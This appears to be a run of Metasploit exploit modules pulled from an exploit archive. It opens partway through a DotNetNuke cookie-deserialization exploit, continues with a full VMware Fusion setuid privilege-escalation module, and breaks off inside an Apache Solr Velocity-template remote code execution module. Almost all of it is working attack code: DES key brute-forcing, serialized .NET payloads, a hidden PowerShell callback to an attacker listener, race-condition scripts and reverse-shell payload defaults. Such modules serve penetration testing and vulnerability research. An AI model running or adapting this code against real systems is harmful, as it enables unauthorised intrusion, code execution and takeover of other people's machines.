115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0, 10, 1, 10, 0, 0, 0, 9, 0, 0, 0, 6, 22, 0, 0, 0, 7, 67, 111, 109, 112, 97, 114, 101, 9, 12, 0, 0, 0, 6, 24, 0, 0, 0, 13, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 6, 25, 0, 0, 0, 43, 73, 110, 116, 51, 50, 32, 67, 111, 109, 112, 97, 114, 101, 40, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 6, 26, 0, 0, 0, 50, 83, 121, 115, 116, 101, 109, 46, 73, 110, 116, 51, 50, 32, 67, 111, 109, 112, 97, 114, 101, 40, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0, 10, 1, 16, 0, 0, 0, 8, 0, 0, 0, 6, 27, 0, 0, 0, 113, 83, 121, 115, 116, 101, 109, 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 9, 12, 0, 0, 0, 10, 9, 12, 0, 0, 0, 9, 24, 0, 0, 0, 9, 22, 0, 0, 0, 10, 11 ] @cr_regex = /(?<=Copyright \(c\) 2002-)(\d{4})/ # ================== # v9.1.1+ VARIABLES # ================== @key_charset = "02468ABDF" @verification_codes = [] @iv_regex = /[0-9A-F]{8}/ # Known plaintext @kpt = "" # Encryption objects @decryptor = OpenSSL::Cipher.new('des') @decryptor.decrypt @encryptor = OpenSSL::Cipher.new('des') @encryptor.encrypt # final passphrase (key +iv) to use for payload (v9.1.1+) @passphrase = "" # ================== # v9.2.0+ VARIABLES # ================== # Session token needed for exploitation (v9.2.0+) @session_token = "" # ================== # v9.2.2+ VARIABLES # ================== # User ID format (v9.2.2+) # Number of characters of user ID available in plaintext # is equal to the length of a GUID (no spaces or dashes) # minus (blocksize - known plaintext length). @user_id_pt_length = 32 - (8 - @kpt.length) @user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/ # Plaintext found from decryption (v9.2.2+) @found_pt = "" @iv_charset = "0123456789abcdef" # Possible IVs used to encrypt verification codes (v9.2.2+) @possible_ivs = Set.new([]) # Possible keys used to encrypt verification codes (v9.2.2+) @possible_keys = Set.new([]) # passphrases (key + iv) values to use for payload encryption (v9.2.2+) @passphrases = [] # char sets to use when generating possible base keys @unchanged = Set.new([65,70]) end def decode_verification(code) # Decode verification code base don DNN format return String.new( Rex::Text.decode_base64( code.chomp.gsub(".", "+").gsub("-", "/").gsub("_", "=") ) ) end # ============== # Main function # ============== def exploit return unless check == Exploit::CheckCode::Appears @encrypted = datastore['ENCRYPTED'] verification_code = datastore['VERIFICATION_CODE'] if File.file?(verification_code) File.readlines(verification_code).each do |code| @verification_codes.push(decode_verification(code)) end else @verification_codes.push(decode_verification(verification_code)) end @kpt = datastore['VERIFICATION_PLAIN'] @session_token = datastore['SESSION_TOKEN'] @dry_run = datastore['DryRun'] key = datastore['KEY'] iv = datastore['IV'] if target['ReqEncrypt'] && @encrypted == false print_warning("Target requires encrypted payload. Exploit may not succeed.") end if @encrypted # Requires either supplied key and IV, or verification code and plaintext if (!key.blank? && !iv.blank?) @passphrase = key + iv # Key and IV were supplied, don't try and decrypt. @try_decrypt = false elsif (!@verification_codes.empty? && [email protected]?) @try_decrypt = true else fail_with(Failure::BadConfig, "You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).") end end if target['ReqSession'] if @session_token.blank? fail_with(Failure::BadConfig, "Target requires a valid SESSION_TOKEN for exploitation.") end end if @encrypted && @try_decrypt # Set IV for decryption as the known plaintext, manually # apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed. # For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time. # For v9.2.2+ it will find an initial base key faster than if padding were enabled. f8_plain = @kpt[0, 8] c_iv = f8_plain.unpack("C*") + [8 - f8_plain.length] * (8 - f8_plain.length) @decryptor.iv = String.new(c_iv.pack("C*")) @decryptor.padding = 0 key = find_key(@verification_codes[0]) if key.blank? return end if @target_idx == 4 # target is v9.2.2+, requires base64 generated key and IV values. generate_base_keys(0, key.each_byte.to_a, "") vprint_status("Generated #{@possible_keys.size} possible base KEY values from #{key}") # re-enable padding here as it doesn't have the # same performance impact when trying to find possible IV values. @decryptor.padding = 1 print_warning("Finding possible base IVs. This may take a few minutes...") start = Time.now find_ivs(@verification_codes, key) elapsed = Time.now - start vprint_status( format( "Found %<n_ivs>d potential Base IV values using %<n_codes>d "\ "verification codes in %<e_time>.2f seconds.", n_ivs: @possible_ivs.size, n_codes: @verification_codes.size, e_time: elapsed.to_s ) ) generate_payload_passphrases vprint_status(format("Generated %<n_phrases>d possible base64 KEY and IV combinations.", n_phrases: @passphrases.size)) end if @passphrase.blank? # test all generated passphrases by # sending an exploit payload to the target # that will callback to an HTTP listener # with the index of the passphrase that worked. # set SRVHOST as LHOST value for HTTPServer mixin datastore['SRVHOST'] = datastore['LHOST'] print_warning("Trying all possible KEY and IV combinations...") print_status("Starting HTTP listener on port #{datastore['SRVPORT']}...") start_service vprint_warning("Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...") test_passphrases # If no working passphrase has been found, # wait to allow the the chance for the last one to callback. if @passphrase.empty? && !@dry_run sleep(wfs_delay) end if service stop_service end print "\r\n" if [email protected]? print_good("KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..-1]} found") end end end send_exploit_payload end # ===================== # For the check command # ===================== def check if target.name == 'Automatic' select_target end @target_idx = Integer(datastore['TARGET']) if @target_idx == 0 fail_with(Failure::NoTarget, 'No valid target found or specified.') end # Check if 404 page is custom or not. # Vulnerability requires custom 404 handling (enabled by default). uri = normalize_uri(target_uri.path) print_status("Checking for custom error page at: #{uri} ...") res = send_request_cgi( 'uri' => uri ) if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600 print_good("Custom error page detected.") else print_error("IIS Error Page detected.") return Exploit::CheckCode::Safe end return Exploit::CheckCode::Appears end # =========================== # Auto-select target version # =========================== def select_target print_status("Trying to determine DNN Version...") # Check for copyright version in /Documentation/license.txt uri = %r{^(.*[\\\/])}.match(target_uri.path)[0] vprint_status("Checking version at #{normalize_uri(uri + 'Documentation', 'License.txt')} ...") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(uri + 'Documentation', 'License.txt') ) year = -1 if res && res.code == 200 # License page found, get latest copyright year. matches = @cr_regex.match(res.body) if matches year = matches[0].to_i end else vprint_status("Checking version at #{uri} ...") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(uri) ) if res && res.code == 200 # Check if copyright info is in page HTML. matches = @cr_regex.match(res.body) if matches year = matches[0].to_i end end end if year >= 2018 print_warning( %q(DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN. Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2. Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values.") ) datastore['TARGET'] = 3 elsif year == 2017 print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED') datastore['TARGET'] = 2 elsif year < 2017 && year > 2008 print_good("DNN Version Found: v5.1.0 - v9.0.1") datastore['TARGET'] = 1 elsif year == 2008 print_warning("DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).") datastore['TARGET'] = 1 else print_warning("Could not determine DNN version. Target may still be vulnerable. Manually set the Target value") end end # ============================== # Known plaintext attack to # brute-force the encryption key # ============================== def find_key(cipher_text) print_status("Finding Key...") # Counter total_keys = @key_charset.length**8 i = 1 # Set start time start = Time.now # First char @key_charset.each_byte do |a| key = a.chr # 2 @key_charset.each_byte do |b| key[1] = b.chr # 3 @key_charset.each_byte do |c| key[2] = c.chr # 4 @key_charset.each_byte do |d| key[3] = d.chr # 5 @key_charset.each_byte do |e| key[4] = e.chr # 6 @key_charset.each_byte do |f| key[5] = f.chr # 7 @key_charset.each_byte do |g| key[6] = g.chr # 8 @key_charset.each_byte do |h| key[7] = h.chr if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key)) elapsed = Time.now - start print_search_status(i, elapsed, total_keys) print_line if @target_idx == 4 print_good("Possible Base Key Value Found: " + key) else print_good("KEY Found: " + key) print_good("IV Found: " + @passphrase[8..-1]) end vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i)) vprint_status(format("Time to crack: %<c_time>.3f seconds", c_time: elapsed.to_s)) return String.new(key) end # Print timing info every 5 million attempts if i % 5000000 == 0 print_search_status(i, Time.now - start, total_keys) end i += 1 end end end end end end end end elapsed = Time.now - start print_search_status(i, elapsed, total_keys) print_line print_error("Key not found") vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i)) vprint_status(format("Time run: %<r_time>.3f seconds", r_time: elapsed.to_s)) return nil end # ================================== # Attempt to decrypt a ciphertext # and obtain the IV at the same time # ================================== def decrypt_data_and_iv(cipher, cipher_text, key) cipher.key = key begin plaintext = cipher.update(cipher_text) + cipher.final if @target_idx == 4 # Target is v9.2.2+ user_id = plaintext[8, @user_id_pt_length] if @user_id_regex.match(user_id) return true end return false end # This should only execute if the version is 9.1.1 - 9.2.1 iv = plaintext[0, 8] if !@iv_regex.match(iv) return false end # Build encryption passphrase as DNN does. @passphrase = key + iv # Encrypt the plaintext value using the discovered key and IV # and compare with the initial ciphertext if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase) @passphrases.push(String.new(key + iv)) return true end rescue StandardError # Ignore decryption errors to allow execution to continue return false end return false end def print_search_status(num_tries, elapsed, max_tries) msg = format("Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.", s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100) print("\r%bld%blu[*]%clr #{msg}") end # =========================== # Encrypt data using the same # pattern that DNN uses. # =========================== def encrypt_data(cipher, message, passphrase) cipher.key = passphrase[0, 8] cipher.iv = passphrase[8, 8] return cipher.update(message) + cipher.final end # =============================================== # Generate all possible base key values # used to create the final passphrase in v9.2.2+. # DES weakness allows multiple bytes to be # interpreted as the same value. # =============================================== def generate_base_keys(pos, from_key, new_key) if [email protected]? from_key[pos] if from_key[pos] % 2 == 0 new_key[pos] = (from_key[pos] + 1).chr else new_key[pos] = (from_key[pos] - 1).chr end if new_key.length == 8 @possible_keys.add(String.new(new_key)) # also add key with original value new_key[pos] = (from_key[pos]).chr @possible_keys.add(String.new(new_key)) else generate_base_keys(pos + 1, from_key, String.new(new_key)) # also generate keys with original value new_key[pos] = (from_key[pos]).chr generate_base_keys(pos + 1, from_key, String.new(new_key)) end else new_key[pos] = (from_key[pos]).chr if new_key.length == 8 @possible_keys.add(String.new(new_key)) else generate_base_keys(pos + 1, from_key, String.new(new_key)) end end end # ============================================== # Find all possible base IV values # used to create the final Encryption passphrase # ============================================== def find_ivs(cipher_texts, key) num_chars = 8 - @kpt.length f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/ @decryptor.key = key found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final # Find all possible IVs for the first ciphertext brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..-1]) # Reduce IV set by testing against other ciphertexts cipher_texts.drop(1).each do |cipher_text| @possible_ivs.each do |iv| @decryptor.iv = iv pt = @decryptor.update(cipher_text) + @decryptor.final if !f8regex.match(pt[0, 8]) @possible_ivs.delete(iv) end end end end # ========================================== # A recursive function to find all # possible valid IV values using brute-force # ========================================== def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt) charset = "0123456789abcdef" if num_chars_needed == 0 @decryptor.key = key @decryptor.iv = pt_prefix pt = @decryptor.update(cipher_text) + @decryptor.final iv = pt[0, 8] if @iv_regex.match(iv) pt = pt_prefix + found_pt if encrypt_data(@encryptor, pt, key + iv) == cipher_text @possible_ivs.add(String.new(iv)) end end return end charset.length.times do |i| brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt) end end # ======================================== # Generate all possible payload encryption # passphrases for a v9.2.2+ target # ======================================== def generate_payload_passphrases phrases = Set.new(@passphrases) @possible_keys.each do |key| @possible_ivs.each do |iv| phrase = Rex::Text.encode_base64( encrypt_data(@encryptor, key + iv, key + iv) ) phrases.add(String.new(phrase[0, 16])) end end @passphrases = phrases.to_a end # =========================================== # Test all generated passphrases by initializing # an HTTP server to listen for a callback that # contains the index of the successful passphrase. # =========================================== def test_passphrases for i in [email protected] - 1 # Stop sending if we've found the passphrase if [email protected]? break end msg = format("Trying KEY and IV combination %<current>d of %<total>d...", current: i + 1, total: @passphrases.size) print("\r%bld%blu[*]%clr #{msg}") url = "#{get_uri}?#{get_resource.delete('/')}=#{i}" payload = create_request_payload(url) cookie = create_cookie(payload) # Encrypt cookie value enc_cookie = Rex::Text.encode_base64( encrypt_data(@encryptor, cookie, @passphrases[i]) ) if @dry_run print_line print_warning("DryRun enabled. No exploit payloads have been sent to the target.") print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...") print_line(enc_cookie) break end execute_command(enc_cookie, host: datastore['RHOST']) end end # =============================== # Request handler for HTTP server. # ============================== def on_request_uri(cli, request) # Send 404 to prevent scanner detection send_not_found(cli) # Get found index - should be the only query string parameter if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s] index = request.qstring[get_resource.delete('/').to_s].to_i @passphrase = String.new(@passphrases[index]) end end # ============================================== # Create payload to callback to the HTTP server. # Note: This technically exploits the # vulnerability, but provides a way to determine # the valid passphrase needed to exploit again. # ============================================== def create_request_payload(url) psh_cmd = "/b /c start /b /min powershell.exe -nop -w hidden -noni -Command \"Invoke-WebRequest '#{url}'\"" psh_cmd_bytes = psh_cmd.bytes.to_a cmd_size_bytes = write_encoded_int(psh_cmd.length) # Package payload into serialized object payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end object_size = write_encoded_int(payload_object.length) # Create the final seralized ObjectStateFormatter payload final_payload = @osf_header + object_size + payload_object b64_payload = Rex::Text.encode_base64(final_payload.pack("C*")) return b64_payload end # ============================================= # Reproduce the WriteEncoded method in # the native .NET ObjectStateFormatter.cs file. # ============================================= def write_encoded_int(value) enc = [] while (value >= 0x80) v = value | 0x80 enc.push([v].pack("V")[0].unpack1("C*")) value >>= 7 end enc.push([value].pack("V")[0].unpack1("C*")) return enc end # ================================= # Creates the payload cookie # using the specified payload # ================================= def create_cookie(payload) cookie = "<profile>"\ "<item key=\"k\" type=\"System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, "\ "System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],"\ "[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, "\ "Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, "\ "Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">"\ "<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\ "<ProjectedProperty0>"\ "<MethodName>Deserialize</MethodName>"\ "<MethodParameters>"\ "<anyType xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\ "xmlns:d=\"http://www.w3.org/2001/XMLSchema\" i:type=\"d:string\" "\ ">#{payload}</anyType>"\ "</MethodParameters>"\ "<ObjectInstance xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\ "i:type=\"ObjectStateFormatter\" />"\ "</ProjectedProperty0>"\ "</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\ "</item>"\ "</profile>" return cookie end # ========================================= # Send the payload to the target server. # ========================================= def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port }) uri = normalize_uri(target_uri.path) res = send_request_cgi( 'uri' => uri, 'cookie' => ".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};" ) if !res fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.") elsif res.code == 404 return true elsif res.code == 400 fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}") else fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}") end end # ====================================== # Create and send final exploit payload # to obtain a reverse shell. # ====================================== def send_exploit_payload cmd_payload = create_payload cookie_payload = create_cookie(cmd_payload) if @encrypted if @passphrase.blank? print_error("Target requires encrypted payload, but a passphrase was not found or specified.") return end cookie_payload = Rex::Text.encode_base64( encrypt_data(@encryptor, cookie_payload, @passphrase) ) end if @dry_run print_warning("DryRun enabled. No exploit payloads have been sent to the target.") print_warning("Printing exploit cookie payload...") print_line(cookie_payload) return end # Set up the payload handlers payload_instance.setup_handler # Start the payload handler payload_instance.start_handler print_status("Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...") execute_command(cookie_payload, host: datastore['RHOST']) end # =================================== # Create final exploit paylod based on # supplied payload options. # =================================== def create_payload # Create payload psh_cmd = "/b /c start /b /min " + cmd_psh_payload( payload.encoded, payload_instance.arch.first, remove_comspec: true, encode_final_payload: false ) psh_cmd_bytes = psh_cmd.bytes.to_a cmd_size_bytes = write_encoded_int(psh_cmd.length) # Package payload into serialized object payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end object_size = write_encoded_int(payload_object.length) # Create the final seralized ObjectStateFormatter payload final_payload = @osf_header + object_size + payload_object b64_payload = Rex::Text.encode_base64(final_payload.pack("C*")) vprint_status("Payload Object Created.") return b64_payload end end
-
VMware Fusion - USB Arbitrator Setuid Privilege Escalation (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::OSX::Priv include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation', 'Description' => %q( This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3. The Open VMware USB Arbitrator Service can be launched outide of its standard path which allows loading of an attacker controlled binary. By creating a payload in the user home directory in a specific folder, and creating a hard link to the 'Open VMware USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload with an effective UID of 0. @jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race. Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3. ), 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Dhanesh Kizhakkinan', # discovery 'Rich Mirch', # edb module 'jeffball <[email protected]>', # 11.5.3 exploit 'grimm' ], 'Platform' => [ 'osx' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'CVE', '2020-3950' ], [ 'EDB', '48235' ], [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ], [ 'URL', 'https://twitter.com/jeffball55/status/1242530508053110785?s=20' ], [ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ] ], 'DisclosureDate' => 'Mar 17 2020', 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp', 'WfsDelay' => 15 } ) ) register_options [ OptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75]) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]) ] end def open_usb_service 'Open VMware USB Arbitrator Service' end def usb_service 'VMware USB Arbitrator Service' end def get_home_dir home = cmd_exec 'echo ~' if home.blank? fail_with Failure::BadConfig, 'Unable to determine home dir for shell.' end home end def content_dir "#{get_home_dir}/Contents" end def base_dir "#{content_dir}/Library/services/" end def kill_process(executable) pid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print "kill -9 " $1}') cmd_exec pid_kill end def get_version # Thanks to @ddouhine on github for this answer! version_raw = cmd_exec "plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString" /=> "(?<version>\d{0,2}\.\d{0,2}\.\d{0,2})"/ =~ version_raw #supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2 if version_raw.blank? fail_with Failure::BadConfig, 'Unable to determine VMware Fusion version. Set ForceExploit to override.' end Gem::Version.new(version) end def pre_11_5_3 # Upload payload executable & chmod payload_filename = "#{base_dir}#{usb_service}" print_status "Uploading Payload: #{payload_filename}" write_file payload_filename, generate_payload_exe chmod payload_filename, 0o755 register_file_for_cleanup payload_filename # create folder structure and hard link to the original binary root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/" cmd_exec "mkdir -p #{link_folder}" cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'" print_status "Created folder (#{link_folder}) and link" print_status 'Starting USB Service (5 sec pause)' # XXX: The ; used by cmd_exec will interfere with &, so pad it with : cmd_exec "cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :" Rex.sleep 5 # give time for the service to execute our payload print_status 'Killing service' cmd_exec "pkill '#{open_usb_service}'" print_status "Deleting #{root_link_folder}" rm_rf root_link_folder end def exactly_11_5_3 # Upload payload executable & chmod payload_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}" print_status "Uploading Payload to #{payload_name}" write_file payload_name, generate_payload_exe chmod payload_name, 0o755 #create race with codesign check root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/" print_status 'Uploading race condition executable.' race = <<~EOF #!/bin/sh while [ "1" = "1" ]; do ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}' ln -f '#{payload_name}' '#{base_dir}#{usb_service}' done EOF racer_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}" upload_and_chmodx racer_name, race register_file_for_cleanup racer_name register_dirs_for_cleanup root_link_folder # create the hard link print_status "Creating folder (#{link_folder}) and link" cmd_exec "mkdir -p #{link_folder}" cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'" # create the launcher to start the racer and keep launching our service to attempt to win launcher = <<~EOF #!/bin/sh #{racer_name} & for i in {1..#{datastore['MAXATTEMPTS']}} do echo "attempt $i"; '#{link_folder}#{open_usb_service}' done EOF runner_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}" upload_and_chmodx runner_name, launcher register_file_for_cleanup runner_name print_status "Launching Exploit #{runner_name} (sleeping 15sec)" # XXX: The ; used by cmd_exec will interfere with &, so pad it with : results = cmd_exec "#{runner_name} & :" Rex.sleep 15 # give time for the service to execute our payload vprint_status results print_status 'Exploit Finished, killing scripts.' kill_process racer_name kill_process runner_name # in theory should be killed already but just in case kill_process "'#{link_folder}#{open_usb_service}'" # kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed. # above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error # rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder end def check unless exists? "/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}" print_bad "'#{open_usb_service}' binary missing" return CheckCode::Safe end version = get_version if version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.3')) vprint_good "Vmware Fusion #{version} is exploitable" else print_bad "VMware Fusion #{version} is NOT exploitable" return CheckCode::Safe end CheckCode::Appears end def exploit # First check the system is vulnerable, or the user wants to run regardless unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end # Check if we're already root if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' end end # Make sure we can write our payload to the remote system rm_rf content_dir # live dangerously. if directory? content_dir fail_with Filure::BadConfig, "#{content_dir} exists. Unable to delete automatically. Please delete or exploit will fail." end cmd_exec "mkdir -p #{base_dir}" register_dirs_for_cleanup content_dir unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable." end version = get_version if version == Gem::Version.new('11.5.3') vprint_status 'Using 11.5.3 exploit' exactly_11_5_3 elsif version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.2')) vprint_status 'Using pre-11.5.3 exploit' pre_11_5_3 end rm_rf content_dir # live dangerously. end end
-
Apache Solr - Remote Code Execution via Velocity Template (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Solr Remote Code Execution via Velocity Template', 'Description' => %q( This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom Velocity template. Currently, this module only supports Solr basic authentication. From the Tenable advisory: An attacker could target a vulnerable Apache Solr instance by first identifying a list of Solr core names. Once the core names have been identified, an attacker can send a specially crafted HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity template parameter in a specially crafted Solr request, leading to RCE. ), 'License' => MSF_LICENSE, 'Author' => [ 's00py', # Discovery and PoC 'jas502n', # exploit code on Github 'AleWong', # ExploitDB contribution, and exploit code on Github 'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module ], 'References' => [ [ 'EDB', '47572' ], [ 'CVE', '2019-17558' ], [ 'URL', 'https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability'], [ 'URL', 'https://www.huaweicloud.com/en-us/notice/2018/20191104170849387.html'], [ 'URL', 'https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133/'], [ 'URL', 'https://github.com/jas502n/solr_rce'], [ 'URL', 'https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template'], ], 'Platform' => ['linux', 'unix', 'win'], 'Targets' => [ [ 'Unix (in-memory)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux (dropper)', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, 'CmdStagerFlavor' => %w[curl wget] } ], [ 'x86/x64 Windows PowerShell', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_psh, 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } } ], [ 'x86/x64 Windows CmdStager', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_cmdstager, 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'vbs' }, 'CmdStagerFlavor' => %w[vbs certutil] } ], [ 'Windows Exec', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :windows_exec, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' } } ], ], 'DisclosureDate' => "2019-10-29", # ISO-8601 formatted 'DefaultTarget' => 0, 'Privileged' => false ) ) register_options( [ Opt::RPORT(8983), OptString.new('USERNAME', [false, 'Solr username', 'solr']), OptString.new('PASSWORD', [false, 'Solr password', 'SolrRocks']), OptString.new('TARGETURI', [false, 'Path to Solr', '/solr/']) ] ) end # if we are going to exploit, we only need one core to be exploitable @vuln_core = "" # OS specific stuff @target_platform = "" # if authentication is used @auth_string = "" def check_auth # see if authentication is required for the specified Solr instance auth_check = solr_get('uri' => normalize_uri(target_uri.path)) # successfully connected? unless auth_check print_bad("Connection failed!") return nil end # if response code is not 200, then the Solr instance definitely requires authentication unless auth_check.code == 200 # if authentication is required and creds are not provided, we cannot reliably check exploitability if datastore['USERNAME'] == "" && datastore['PASSWORD'] == "" print_bad("Credentials not provided, skipping credentialed check...") return nil end # otherwise, try the given creds auth_string = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) attempt_auth = solr_get('uri' => normalize_uri(target_uri.path), 'auth' => auth_string) # successfully connected? unless attempt_auth print_bad("Connection failed!") return nil end # if the return code is not 200, then authentication definitely failed unless attempt_auth.code == 200 print_bad("Invalid credentials!") return nil 